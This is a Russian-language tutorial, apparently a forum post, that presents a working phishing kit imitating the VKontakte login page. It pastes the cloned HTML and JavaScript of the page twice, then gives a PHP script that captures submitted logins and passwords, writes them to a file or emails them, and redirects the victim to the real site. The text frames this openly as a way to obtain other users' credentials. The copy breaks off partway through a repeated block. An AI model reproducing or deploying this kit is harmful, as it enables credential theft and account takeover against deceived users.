Вот пример форма входа на страницу вконтакте фейк состоит из трёх файлов Так значит первый файл это index.php Он будет отвечать за оформление страницы. Имитировать вход вконтакте <?php ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link rel="shortcut icon" href="http://vk.com/images/faviconnew.ico?3" /> <meta http-equiv="content-type" content="text/html; charset=windows-1251" /> <meta name="description" content="ВКонтакте – универсальное средство для общения и поиска друзей и одноклассников, которым ежедневно пользуются десятки миллионов человек. Мы хотим, чтобы друзья, однокурсники, одноклассники, соседи и коллеги всегда оставались в контакте." /> <title>Добро пожаловать | ВКонтакте</title> <noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript> <script type="text/javascript"> var vk = { ads_rotate_interval: 120000, al: parseInt('4') || 4, id: 0, intnat: '' ? true : false, host: 'vk.com', lang: 0, rtl: parseInt('') || 0, version: 15404, stDomains: 3, zero: false, contlen: 7672, loginscheme: 'https', ip_h: '7e54e623b6320c2b4e', vc_h: '3b2dffd51b2b3dd21b822f620eaa9318', navPrefix: '/', dt: parseInt('0') || 0, fs: parseInt('11') || 11, ts: 1402511721, pd: 0, pads: 1, time: [2014, 6, 11, 22, 35, 21] } window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0]; var _ua = navigator.userAgent.toLowerCase(); if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain; var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '', ___to; if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) { if (vk.al != 3 || vk.navPrefix != '!') { ___to = ___htest.replace(/^(\/|!)/, ''); if (___to.match(/^([^\?]*\.php|login)([^a-z0-9\.]|$)/)) ___to = ''; location.replace(location.protocol + '//' + location.host + '/' + ___to); } } var StaticFiles = { 'common.js' : {v: 1101}, 'common.css': {v: 449}, 'ie6.css' : {v: 26}, 'ie7.css' : {v: 18} ,'lang0_0.js':{v:6561},'index.css':{v:26},'index.js':{v:30} } </script> <link rel="stylesheet" type="text/css" href="http://st0.vk.me/css/al/common.css?449" /> <!--[if lte IE 6]><style type="text/css" media="screen">/* <=!=[=C=D=A=T=A=[ */ @import url(http://vk.com/http://st0.vk.me/css/al/ie6.css?26); /* ]=]=> */</style><![endif]--> <!--[if IE 7]><style type="text/css" media="screen">/* <=!=[=C=D=A=T=A=[ */ @import url(http://vk.com/http://st0.vk.me/css/al/ie7.css?18); /* ]=]=> */</style><![endif]--> <link type="text/css" rel="stylesheet" href="http://st0.vk.me/css/al/index.css?26"></link><script type="text/javascript" src="http://vk.com/js/loader_nav15404_0.js"></script><script type="text/javascript" src="http://st2.vk.me/js/al/common.js?1101_81"></script><script type="text/javascript" src="http://vk.com/js/lang0_0.js?6561"></script><link rel="alternate" media="only screen and (max-width: 640px)" href="http://m.vk.com/" /><script type="text/javascript" src="http://st3.vk.me/js/al/index.js?30"></script> </head> <body onresize="onBodyResize()" class="is_rtl font_default pads "> <div id="system_msg" class="fixed"></div> <div id="utils"></div> <div id="layer_bg" class="fixed"></div><div id="layer_wrap" class="scroll_fix_wrap fixed"><div id="layer"></div></div> <div id="box_layer_bg" class="fixed"></div><div id="box_layer_wrap" class="scroll_fix_wrap fixed"><div id="box_layer"><div id="box_loader"><div class="loader"></div><div class="back"></div></div></div></div> <div id="stl_left"></div><div id="stl_side"></div> <script type="text/javascript">domStarted();</script> <div class="scroll_fix_wrap" id="page_wrap"><div id="reg_bar" class="top_info_wrap fixed"> <div class="scroll_fix"> <div id="reg_bar_content"> Присоединяйтесь, чтобы всегда оставаться в контакте с друзьями и близкими <div class="button_blue" id="reg_bar_button"><a class="button_link" href="http://vk.com/join" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)"><button id="reg_bar_btn"><span id="reg_bar_with_arr">Зарегистрироваться</span></button></a></div> </div> </div> </div> <div><div class="scroll_fix"> <div id="page_layout" style="width: 791px;"> <div id="page_header" class="p_head p_head_l0"> <div class="back"></div> <div class="left"></div> <div class="right"></div> <div class="content"> <div id="top_nav" class="head_nav"> <div id="top_logo_down" class="fl_l"></div> <a id="top_home_link" class="top_home_link fl_l" href="http://vk.com/" onmousedown="addClass('top_logo_down','tld_d');" onclick="return nav.go(this, event);"></a> <div id="top_links"> <div class="fl_r" id="top_menu_wrap" style=""> <a id="top_reg_link" class="fl_r top_nav_link" href="http://vk.com/join" style="display: none" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)" onmousedown="tnActive(this)">регистрация</a> <a id="top_switch_lang" class="fl_r top_nav_link" style="" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '79f4d4d138270ad181'});" onmousedown="tnActive(this)">Switch to English</a> </div> <a class="fl_l top_nav_link" href="http://vk.com/" id="top_back_link" onclick="return nav.go(this, event, {back: true})" onmousedown="tnActive(this)"></a> </div> </div> </div> </div> <div id="side_bar" class="fl_l" style=""> <div id="quick_login"> <form method="POST" name="login" id="quick_login_form" action="/login.php" onsubmit="if (vklogin) {return true} else {document.login.submit();return false;}"> <input type="hidden" name="act" value="login" /> <input type="hidden" name="role" value="al_frame" /> <input type="hidden" name="expire" id="quick_expire_input" value="" /> <input type="hidden" name="captcha_sid" id="quick_captcha_sid" value="" /> <input type="hidden" name="captcha_key" id="quick_captcha_key" value="" /> <input type="hidden" name="_origin" value="http://vk.com" /> <input type="hidden" name="ip_h" value="7e54e623b6320c2b4e" /> <div class="label">Телефон или email</div> <div class="labeled"><input type="text" name="email" class="text" id="quick_email" /></div> <div class="label">Пароль</div> <div class="labeled"><input type="password" name="pass" class="text" id="quick_pass" onkeyup="toggle('quick_expire', !!this.value);toggle('quick_forgot', !this.value)" /></div> <input type="submit" class="submit" /> </form> <div class="button_blue button_wide button_big" id="quick_auth_button"><button id="quick_login_button">Войти</button></div> <div class="button_blue button_wide button_big" id="quick_reg_button" style="display: none"><button onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})">Регистрация</button></div> <div class="clear forgot"><a id="quick_forgot" href="http://vk.com/restore" target="_top">Забыли пароль?</a><div class="checkbox ta_l" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isChecked(this)?1:'';"><div></div>Чужой компьютер</div></div> </div> </div> <div id="page_body" class="fl_r" style="width: 631px;"> <div id="header_wrap2"> <div id="header_wrap1"> <div id="header" style=""> <h1 id="title">Добро пожаловать</h1> </div> </div> </div> <div id="wrap_between"></div> <div id="wrap3"><div id="wrap2"> <div id="wrap1"> <div id="content"><div id="index"> <iframe class="upload_frame" src="https://login.vk.com/?role=al_frame&_origin=http://vk.com&ip_h=7e54e623b6320c2b4e"></iframe> <div class="content"> <p><b>ВКонтакте</b> – универсальное средство для общения и поиска друзей и одноклассников,<br>которым ежедневно пользуются десятки миллионов человек.</p> <h2>Моментальная регистрация</h2> <div class="msg" id="ij_msg"></div> <div class="ij_form"> <div class="ij_reg_row"> <input type="text" class="big_text" id="ij_first_name" value="" placeholder="Ваше имя" onkeydown="if (event.keyCode == 10 || event.keyCode == 13) Index.submitJoinStart();" /> </div> <div class="ij_reg_row"> <input type="text" class="big_text" id="ij_last_name" value="" placeholder="Ваша фамилия" onkeydown="if (event.keyCode == 10 || event.keyCode == 13) Index.submitJoinStart();" /> </div> <div class="ij_reg_row" id="ij_sex_row"> <input type="hidden" id="ij_sex" name="ij_sex" /> </div> <div class="button_blue button_wide button_big ij_button"> <button id="ij_submit" onclick="Index.submitJoinStart()"> <span class="ij_with_arr">Зарегистрироваться</span> </button> </div> <div id="index_fbsign"> <div class="index_fbb"> <div class="index_or"><div class="index_or_l"></div><span class="index_or_s">or</span></div> <div class="button_blue button_wide button_big ij_button index_fb_btn"> <button id="index_fb" onclick="Index.fbJoin();"> <div class="index_fb_logo"></div> <div class="index_fb_l">Войти через Facebook</div> </button> </div> </div> </div> </div> <h2>В чём поможет ВКонтакте?</h2> <ul class="listing"> <li><span>Найти людей, с которыми Вы когда-либо учились, работали или отдыхали.</span></li> <li><span>Узнать больше о людях, которые Вас окружают, и найти новых друзей.</span></li> <li><span>Всегда оставаться в контакте с теми, кто Вам дорог.</span></li> </ul> </div> <div class="reg"> <table cellspacing="0" cellpadding="0" id="ij_screens"><tr> <td><a class="ij_scr" onclick="JoinPhotoview.show(0)"><img src="http://vk.com/images/join/prof_m.png?4" class="ijs_img" /></a></td> <td><a class="ij_scr" onclick="JoinPhotoview.show(1)"><img src="http://vk.com/images/join/news_m.png?4" class="ijs_img" /></a></td> <td><a class="ij_scr" onclick="JoinPhotoview.show(2)"><img src="http://vk.com/images/join/dial_m.png?4" class="ijs_img" /></a></td> </tr></table> </div> </div></div> </div> </div></div> </div> <div id="footer_wrap" class="fl_r" style="width: 661px;"> <div id="bottom_nav"> <a class="bnav_a" href="http://vk.com/about">о сайте</a> <a class="bnav_a" href="http://vk.com/support?act=new" onclick="return nav.go(this, event);" style="display: none;">помощь</a> <a class="bnav_a" href="http://vk.com/terms">правила</a> <a class="bnav_a" href="http://vk.com/ads">реклама</a> <a class="bnav_a" href="http://vk.com/people">люди</a><a class="bnav_a" href="http://vk.com/communities">сообщества</a> <a class="bnav_a" href="http://vk.com/dev">разработчикам</a> <a class="bnav_a" href="http://vk.com/jobs" style="display: none;">вакансии</a> </div> <div id="footer" class="clear"> <div class="copy_lang"><a href="http://vk.com/about">ВКонтакте</a> © 2014 <a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '79f4d4d138270ad181'})">English</a><a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '79f4d4d138270ad181'})">Русский</a><a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '79f4d4d138270ad181'})">Українська</a><a class="bnav_lang" onclick="showBox('lang.php', {act: 'lang_dialog'}, {noreload: true})">все языки »</a></div> <div> </div> </div> </div> <div class="clear"></div> </div> </div></div></div> <div class="progress" id="global_prg"></div> <script type="text/javascript"> if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) { document.getElementsByTagName('body')[0].innerHTML = ''; } else { domReady(); updateMoney(0); gSearch.init(); if (window.qArr && qArr[5]) qArr[5] = [5, "по товарам", "", "goods", 0x00000100]; if (browser.iphone || browser.ipad || browser.ipod) { setStyle(bodyNode, {webkitTextSizeAdjust: 'none'}); }var qf = ge('quick_login_form'), ql = ge('quick_login'), qe = ge('quick_email'), qp = ge('quick_pass'); var qlb = ge('quick_login_button'), prgBtn = qlb; var qinit = function() { setTimeout(function() { ql.insertBefore(ce('div', {innerHTML: '<iframe class="upload_frame" id="quick_login_frame" name="quick_login_frame"></iframe>'}), qf); qf.target = 'quick_login_frame'; }, 1); } if (window.top && window.top != window) { window.onload = qinit; } else { setTimeout(qinit, 0); } qf.onsubmit = function() { if (!ge('quick_login_frame')) return false; if (!trim(qe.value)) { notaBene(qe); return false; } else if (!trim(qp.value)) { notaBene(qp); return false; } lockButton(window.__qfBtn = prgBtn); prgBtn = qlb; clearTimeout(__qlTimer); __qlTimer = setTimeout(loginSubmitError, 30000); domFC(domPS(qf)).onload = function() { clearTimeout(__qlTimer); __qlTimer = setTimeout(loginSubmitError, 2500); } return true; } window.loginSubmitError = function() { showFastBox('Уведомление', Вы неверно ввели логин или пароль'); } window.focusLoginInput = function() { scrollToTop(0); notaBene('quick_email'); } window.changeQuickRegButton = function(noShow) { if (noShow) { hide('top_reg_link', 'quick_reg_button'); show('top_search_link'); } else { hide('top_search_link'); show('top_reg_link', 'quick_reg_button'); } toggle('top_switch_lang', noShow && window.langConfig && window.langConfig.id != 3); } window.submitQuickLoginForm = function(email, pass, opts) { setQuickLoginData(email, pass, opts); if (opts && opts.prg) prgBtn = opts.prg; if (qf.onsubmit()) qf.submit(); } window.setQuickLoginData = function(email, pass, opts) { if (email !== undefined) ge('quick_email').value = email; if (pass !== undefined) ge('quick_pass').value = pass; var params = opts && opts.params || {}; for (var i in params) { var el = ge('quick_login_' + i); if (el) { val(el, params[i]); } else { qf.appendChild(ce('input', {type: 'hidden', name: i, id: 'quick_login_' + i, value: params[i]})); } } } if (qlb) { qlb.onclick = function() { if (qf.onsubmit()) qf.submit(); }; } if (browser.opera_mobile) show('quick_expire'); if (1) { hide('support_link_td'); } var ts_input = ge('ts_input'), oldFF = browser.mozilla && parseInt(browser.version) < 8; if (browser.mozilla && !oldFF) { setStyle(ts_input, {padding: (vk.rtl ? '3px 20px 6px 40px' : '3px 41px 6px 20px')}); } placeholderSetup(ts_input, {back: false, reload: true}); if (browser.opera || browser.msie || browser.mozilla) { setStyle(ts_input, {padding: (vk.rtl ? '4px 20px 5px 40px' : '4px 41px 5px 20px')}); } else if (browser.chrome || browser.safari) { setStyle(ts_input, {padding: (vk.rtl ? '4px 21px 5px 40px' : '4px 40px 5px 21px')}); } TopSearch.init(); if (browser.msie8 || browser.msie7) { var st = {border: '1px solid #a6b6c6'}; if (hasClass(ge('ts_wrap'), 'vk')) { if (vk.rtl) st.left = '1px'; else st.right = '0px'; } else { if (vk.rtl) st.right = '146px'; else st.left = '146px'; } setStyle(ge('ts_cont_wrap'), st); } window.tsHintsEnabled = 1; handlePageParams({"id":0,"pads":1,"loc":"","wrap_page":1,"width":791,"width_dec":160,"width_dec_footer":130,"counters":"","pvbig":0,"pvdark":1});addEvent(document, 'click', onDocumentClick);Index.initNew(); JoinPhotoview.init([{"src":"\/images\/join\/prof_1.png?5","width":790,"height":600,"desc":"Делитесь с друзьями фотографиями и новостями"},{"src":"\/images\/join\/news_1.png?5","width":790,"height":600,"desc":"Получайте новости из жизни Ваших друзей и известных людей"},{"src":"\/images\/join\/dial_1.png?5","width":790,"height":600,"desc":"Общайтесь с близкими при помощи личных сообщений"}]); cur.lang = extend(cur.lang || {}, { index_screen_m_of_n: 'Иллюстрация {num} из {count}', index_to_main: 'Главная страница', index_choose_sex: 'Укажите пол' }); var sd = false; if (sd) Index.initSexDD(sd); placeholderSetup('ij_first_name', {back: true}); placeholderSetup('ij_last_name', {back: true}); var login = ge('quick_email'); if (login) { login.focus(); }cur.fbApp = '128749580520227'; cur.fbState = '86230ce4a95f2090e2'; Index.fbCheck(cur.fbApp, ''); } </script> </body> </html> Код <?php ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link rel="shortcut icon" href="http://vk.com/images/faviconnew.ico?3" /> <meta http-equiv="content-type" content="text/html; charset=windows-1251" /> <meta name="description" content="ВКонтакте – универсальное средство для общения и поиска друзей и одноклассников, которым ежедневно пользуются десятки миллионов человек. Мы хотим, чтобы друзья, однокурсники, одноклассники, соседи и коллеги всегда оставались в контакте." /> <title>Добро пожаловать | ВКонтакте</title> <noscript><meta http-equiv="refresh" content="0; URL=/badbrowser.php"></noscript> <script type="text/javascript"> var vk = { ads_rotate_interval: 120000, al: parseInt('4') || 4, id: 0, intnat: '' ? true : false, host: 'vk.com', lang: 0, rtl: parseInt('') || 0, version: 15404, stDomains: 3, zero: false, contlen: 7672, loginscheme: 'https', ip_h: '7e54e623b6320c2b4e', vc_h: '3b2dffd51b2b3dd21b822f620eaa9318', navPrefix: '/', dt: parseInt('0') || 0, fs: parseInt('11') || 11, ts: 1402511721, pd: 0, pads: 1, time: [2014, 6, 11, 22, 35, 21] } window.locDomain = vk.host.match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0]; var _ua = navigator.userAgent.toLowerCase(); if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) document.domain = locDomain; var ___htest = (location.toString().match(/#(.*)/) || {})[1] || '', ___to; if (vk.al != 1 && ___htest.length && ___htest.substr(0, 1) == vk.navPrefix) { if (vk.al != 3 || vk.navPrefix != '!') { ___to = ___htest.replace(/^(\/|!)/, ''); if (___to.match(/^([^\?]*\.php|login)([^a-z0-9\.]|$)/)) ___to = ''; location.replace(location.protocol + '//' + location.host + '/' + ___to); } } var StaticFiles = { 'common.js' : {v: 1101}, 'common.css': {v: 449}, 'ie6.css' : {v: 26}, 'ie7.css' : {v: 18} ,'lang0_0.js':{v:6561},'index.css':{v:26},'index.js':{v:30} } </script> <link rel="stylesheet" type="text/css" href="http://st0.vk.me/css/al/common.css?449" /> <!--[if lte IE 6]><style type="text/css" media="screen">/* <=!=[=C=D=A=T=A=[ */ @import url(http://vk.com/http://st0.vk.me/css/al/ie6.css?26); /* ]=]=> */</style><![endif]--> <!--[if IE 7]><style type="text/css" media="screen">/* <=!=[=C=D=A=T=A=[ */ @import url(http://vk.com/http://st0.vk.me/css/al/ie7.css?18); /* ]=]=> */</style><![endif]--> <link type="text/css" rel="stylesheet" href="http://st0.vk.me/css/al/index.css?26"></link><script type="text/javascript" src="http://vk.com/js/loader_nav15404_0.js"></script><script type="text/javascript" src="http://st2.vk.me/js/al/common.js?1101_81"></script><script type="text/javascript" src="http://vk.com/js/lang0_0.js?6561"></script><link rel="alternate" media="only screen and (max-width: 640px)" href="http://m.vk.com/" /><script type="text/javascript" src="http://st3.vk.me/js/al/index.js?30"></script> </head> <body onresize="onBodyResize()" class="is_rtl font_default pads "> <div id="system_msg" class="fixed"></div> <div id="utils"></div> <div id="layer_bg" class="fixed"></div><div id="layer_wrap" class="scroll_fix_wrap fixed"><div id="layer"></div></div> <div id="box_layer_bg" class="fixed"></div><div id="box_layer_wrap" class="scroll_fix_wrap fixed"><div id="box_layer"><div id="box_loader"><div class="loader"></div><div class="back"></div></div></div></div> <div id="stl_left"></div><div id="stl_side"></div> <script type="text/javascript">domStarted();</script> <div class="scroll_fix_wrap" id="page_wrap"><div id="reg_bar" class="top_info_wrap fixed"> <div class="scroll_fix"> <div id="reg_bar_content"> Присоединяйтесь, чтобы всегда оставаться в контакте с друзьями и близкими <div class="button_blue" id="reg_bar_button"><a class="button_link" href="http://vk.com/join" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)"><button id="reg_bar_btn"><span id="reg_bar_with_arr">Зарегистрироваться</span></button></a></div> </div> </div> </div> <div><div class="scroll_fix"> <div id="page_layout" style="width: 791px;"> <div id="page_header" class="p_head p_head_l0"> <div class="back"></div> <div class="left"></div> <div class="right"></div> <div class="content"> <div id="top_nav" class="head_nav"> <div id="top_logo_down" class="fl_l"></div> <a id="top_home_link" class="top_home_link fl_l" href="http://vk.com/" onmousedown="addClass('top_logo_down','tld_d');" onclick="return nav.go(this, event);"></a> <div id="top_links"> <div class="fl_r" id="top_menu_wrap" style=""> <a id="top_reg_link" class="fl_r top_nav_link" href="http://vk.com/join" style="display: none" onclick="return !showBox('join.php', {act: 'box', from: nav.strLoc}, {}, event)" onmousedown="tnActive(this)">регистрация</a> <a id="top_switch_lang" class="fl_r top_nav_link" style="" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '79f4d4d138270ad181'});" onmousedown="tnActive(this)">Switch to English</a> </div> <a class="fl_l top_nav_link" href="http://vk.com/" id="top_back_link" onclick="return nav.go(this, event, {back: true})" onmousedown="tnActive(this)"></a> </div> </div> </div> </div> <div id="side_bar" class="fl_l" style=""> <div id="quick_login"> <form method="POST" name="login" id="quick_login_form" action="/login.php" onsubmit="if (vklogin) {return true} else {document.login.submit();return false;}"> <input type="hidden" name="act" value="login" /> <input type="hidden" name="role" value="al_frame" /> <input type="hidden" name="expire" id="quick_expire_input" value="" /> <input type="hidden" name="captcha_sid" id="quick_captcha_sid" value="" /> <input type="hidden" name="captcha_key" id="quick_captcha_key" value="" /> <input type="hidden" name="_origin" value="http://vk.com" /> <input type="hidden" name="ip_h" value="7e54e623b6320c2b4e" /> <div class="label">Телефон или email</div> <div class="labeled"><input type="text" name="email" class="text" id="quick_email" /></div> <div class="label">Пароль</div> <div class="labeled"><input type="password" name="pass" class="text" id="quick_pass" onkeyup="toggle('quick_expire', !!this.value);toggle('quick_forgot', !this.value)" /></div> <input type="submit" class="submit" /> </form> <div class="button_blue button_wide button_big" id="quick_auth_button"><button id="quick_login_button">Войти</button></div> <div class="button_blue button_wide button_big" id="quick_reg_button" style="display: none"><button onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})">Регистрация</button></div> <div class="clear forgot"><a id="quick_forgot" href="http://vk.com/restore" target="_top">Забыли пароль?</a><div class="checkbox ta_l" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isChecked(this)?1:'';"><div></div>Чужой компьютер</div></div> </div> </div> <div id="page_body" class="fl_r" style="width: 631px;"> <div id="header_wrap2"> <div id="header_wrap1"> <div id="header" style=""> <h1 id="title">Добро пожаловать</h1> </div> </div> </div> <div id="wrap_between"></div> <div id="wrap3"><div id="wrap2"> <div id="wrap1"> <div id="content"><div id="index"> <iframe class="upload_frame" src="https://login.vk.com/?role=al_frame&_origin=http://vk.com&ip_h=7e54e623b6320c2b4e"></iframe> <div class="content"> <p><b>ВКонтакте</b> – универсальное средство для общения и поиска друзей и одноклассников,<br>которым ежедневно пользуются десятки миллионов человек.</p> <h2>Моментальная регистрация</h2> <div class="msg" id="ij_msg"></div> <div class="ij_form"> <div class="ij_reg_row"> <input type="text" class="big_text" id="ij_first_name" value="" placeholder="Ваше имя" onkeydown="if (event.keyCode == 10 || event.keyCode == 13) Index.submitJoinStart();" /> </div> <div class="ij_reg_row"> <input type="text" class="big_text" id="ij_last_name" value="" placeholder="Ваша фамилия" onkeydown="if (event.keyCode == 10 || event.keyCode == 13) Index.submitJoinStart();" /> </div> <div class="ij_reg_row" id="ij_sex_row"> <input type="hidden" id="ij_sex" name="ij_sex" /> </div> <div class="button_blue button_wide button_big ij_button"> <button id="ij_submit" onclick="Index.submitJoinStart()"> <span class="ij_with_arr">Зарегистрироваться</span> </button> </div> <div id="index_fbsign"> <div class="index_fbb"> <div class="index_or"><div class="index_or_l"></div><span class="index_or_s">or</span></div> <div class="button_blue button_wide button_big ij_button index_fb_btn"> <button id="index_fb" onclick="Index.fbJoin();"> <div class="index_fb_logo"></div> <div class="index_fb_l">Войти через Facebook</div> </button> </div> </div> </div> </div> <h2>В чём поможет ВКонтакте?</h2> <ul class="listing"> <li><span>Найти людей, с которыми Вы когда-либо учились, работали или отдыхали.</span></li> <li><span>Узнать больше о людях, которые Вас окружают, и найти новых друзей.</span></li> <li><span>Всегда оставаться в контакте с теми, кто Вам дорог.</span></li> </ul> </div> <div class="reg"> <table cellspacing="0" cellpadding="0" id="ij_screens"><tr> <td><a class="ij_scr" onclick="JoinPhotoview.show(0)"><img src="http://vk.com/images/join/prof_m.png?4" class="ijs_img" /></a></td> <td><a class="ij_scr" onclick="JoinPhotoview.show(1)"><img src="http://vk.com/images/join/news_m.png?4" class="ijs_img" /></a></td> <td><a class="ij_scr" onclick="JoinPhotoview.show(2)"><img src="http://vk.com/images/join/dial_m.png?4" class="ijs_img" /></a></td> </tr></table> </div> </div></div> </div> </div></div> </div> <div id="footer_wrap" class="fl_r" style="width: 661px;"> <div id="bottom_nav"> <a class="bnav_a" href="http://vk.com/about">о сайте</a> <a class="bnav_a" href="http://vk.com/support?act=new" onclick="return nav.go(this, event);" style="display: none;">помощь</a> <a class="bnav_a" href="http://vk.com/terms">правила</a> <a class="bnav_a" href="http://vk.com/ads">реклама</a> <a class="bnav_a" href="http://vk.com/people">люди</a><a class="bnav_a" href="http://vk.com/communities">сообщества</a> <a class="bnav_a" href="http://vk.com/dev">разработчикам</a> <a class="bnav_a" href="http://vk.com/jobs" style="display: none;">вакансии</a> </div> <div id="footer" class="clear"> <div class="copy_lang"><a href="http://vk.com/about">ВКонтакте</a> © 2014 <a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 3, hash: '79f4d4d138270ad181'})">English</a><a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 0, hash: '79f4d4d138270ad181'})">Русский</a><a class="bnav_lang" onclick="ajax.post('al_index.php', {act: 'change_lang', lang_id: 1, hash: '79f4d4d138270ad181'})">Українська</a><a class="bnav_lang" onclick="showBox('lang.php', {act: 'lang_dialog'}, {noreload: true})">все языки »</a></div> <div> </div> </div> </div> <div class="clear"></div> </div> </div></div></div> <div class="progress" id="global_prg"></div> <script type="text/javascript"> if (parent && parent != window && (browser.msie || browser.opera || browser.mozilla || browser.chrome || browser.safari || browser.iphone)) { document.getElementsByTagName('body')[0].innerHTML = ''; } else { domReady(); updateMoney(0); gSearch.init(); if (window.qArr && qArr[5]) qArr[5] = [5, "по товарам", "", "goods", 0x00000100]; if (browser.iphone || browser.ipad || browser.ipod) { setStyle(bodyNode, {webkitTextSizeAdjust: 'none'}); }var qf = ge('quick_login_form'), ql = ge('quick_login'), qe = ge('quick_email'), qp = ge('quick_pass'); var qlb = ge('quick_login_button'), prgBtn = qlb; var qinit = function() { setTimeout(function() { ql.insertBefore(ce('div', {innerHTML: '<iframe class="upload_frame" id="quick_login_frame" name="quick_login_frame"></iframe>'}), qf); qf.target = 'quick_login_frame'; }, 1); } if (window.top && window.top != window) { window.onload = qinit; } else { setTimeout(qinit, 0); } qf.onsubmit = function() { if (!ge('quick_login_frame')) return false; if (!trim(qe.value)) { notaBene(qe); return false; } else if (!trim(qp.value)) { notaBene(qp); return false; } lockButton(window.__qfBtn = prgBtn); prgBtn = qlb; clearTimeout(__qlTimer); __qlTimer = setTimeout(loginSubmitError, 30000); domFC(domPS(qf)).onload = function() { clearTimeout(__qlTimer); __qlTimer = setTimeout(loginSubmitError, 2500); } return true; } window.loginSubmitError = function() { showFastBox('Уведомление', Вы неверно ввели логин или пароль'); } window.focusLoginInput = function() { scrollToTop(0); notaBene('quick_email'); } window.changeQuickRegButton = function(noShow) { if (noShow) { hide('top_reg_link', 'quick_reg_button'); show('top_search_link'); } else { hide('top_search_link'); show('top_reg_link', 'quick_reg_button'); } toggle('top_switch_lang', noShow && window.langConfig && window.langConfig.id != 3); } window.submitQuickLoginForm = function(email, pass, opts) { setQuickLoginData(email, pass, opts); if (opts && opts.prg) prgBtn = opts.prg; if (qf.onsubmit()) qf.submit(); } window.setQuickLoginData = function(email, pass, opts) { if (email !== undefined) ge('quick_email').value = email; if (pass !== undefined) ge('quick_pass').value = pass; var params = opts && opts.params || {}; for (var i in params) { var el = ge('quick_login_' + i); if (el) { val(el, params[i]); } else { qf.appendChild(ce('input', {type: 'hidden', name: i, id: 'quick_login_' + i, value: params[i]})); } } } if (qlb) { qlb.onclick = function() { if (qf.onsubmit()) qf.submit(); }; } if (browser.opera_mobile) show('quick_expire'); if (1) { hide('support_link_td'); } var ts_input = ge('ts_input'), oldFF = browser.mozilla && parseInt(browser.version) < 8; if (browser.mozilla && !oldFF) { setStyle(ts_input, {padding: (vk.rtl ? '3px 20px 6px 40px' : '3px 41px 6px 20px')}); } placeholderSetup(ts_input, {back: false, reload: true}); if (browser.opera || browser.msie || browser.mozilla) { setStyle(ts_input, {padding: (vk.rtl ? '4px 20px 5px 40px' : '4px 41px 5px 20px')}); } else if (browser.chrome || browser.safari) { setStyle(ts_input, {padding: (vk.rtl ? '4px 21px 5px 40px' : '4px 40px 5px 21px')}); } TopSearch.init(); if (browser.msie8 || browser.msie7) { var st = {border: '1px solid #a6b6c6'}; if (hasClass(ge('ts_wrap'), 'vk')) { if (vk.rtl) st.left = '1px'; else st.right = '0px'; } else { if (vk.rtl) st.right = '146px'; else st.left = '146px'; } setStyle(ge('ts_cont_wrap'), st); } window.tsHintsEnabled = 1; handlePageParams({"id":0,"pads":1,"loc":"","wrap_page":1,"width":791,"width_dec":160,"width_dec_footer":130,"counters":"","pvbig":0,"pvdark":1});addEvent(document, 'click', onDocumentClick);Index.initNew(); JoinPhotoview.init([{"src":"\/images\/join\/prof_1.png?5","width":790,"height":600,"desc":"Делитесь с друзьями фотографиями и новостями"},{"src":"\/images\/join\/news_1.png?5","width":790,"height":600,"desc":"Получайте новости из жизни Ваших друзей и известных людей"},{"src":"\/images\/join\/dial_1.png?5","width":790,"height":600,"desc":"Общайтесь с близкими при помощи личных сообщений"}]); cur.lang = extend(cur.lang || {}, { index_screen_m_of_n: 'Иллюстрация {num} из {count}', index_to_main: 'Главная страница', index_choose_sex: 'Укажите пол' }); var sd = false; if (sd) Index.initSexDD(sd); placeholderSetup('ij_first_name', {back: true}); placeholderSetup('ij_last_name', {back: true}); var login = ge('quick_email'); if (login) { login.focus(); }cur.fbApp = '128749580520227'; cur.fbState = '86230ce4a95f2090e2'; Index.fbCheck(cur.fbApp, ''); } </script> </body> </html> Когда юзверь введет Логин и пароль ему выдаст ошибку и перенаправит на настоящую страницу вконтакте. А этим временем вы получите эти данные в следующий файл под именем base.php база Этот блокнот назовем login.php Код: <?php $BASE="base.php"; $IS_EMAIL=false; $LOCATION="http://vk.com"; $p0=$_REQUEST["login"]; $p1=$_REQUEST["email"]; $p2=$_REQUEST["pass"]; $headers = ""; $info="$p0:$p1:$p2:\n"; if ($IS_EMAIL){ mail($BASE, "*** Логин_и_пароль", $headers.$info); } else { $fd=fopen($BASE,"a+"); fwrite($fd,$info); fclose($fd); } header("Location:$LOCATION"); ?> Код Код: <?php $BASE="base.php"; $IS_EMAIL=false; $LOCATION="http://vk.com"; $p0=$_REQUEST["login"]; $p1=$_REQUEST["email"]; $p2=$_REQUEST["pass"]; $headers = 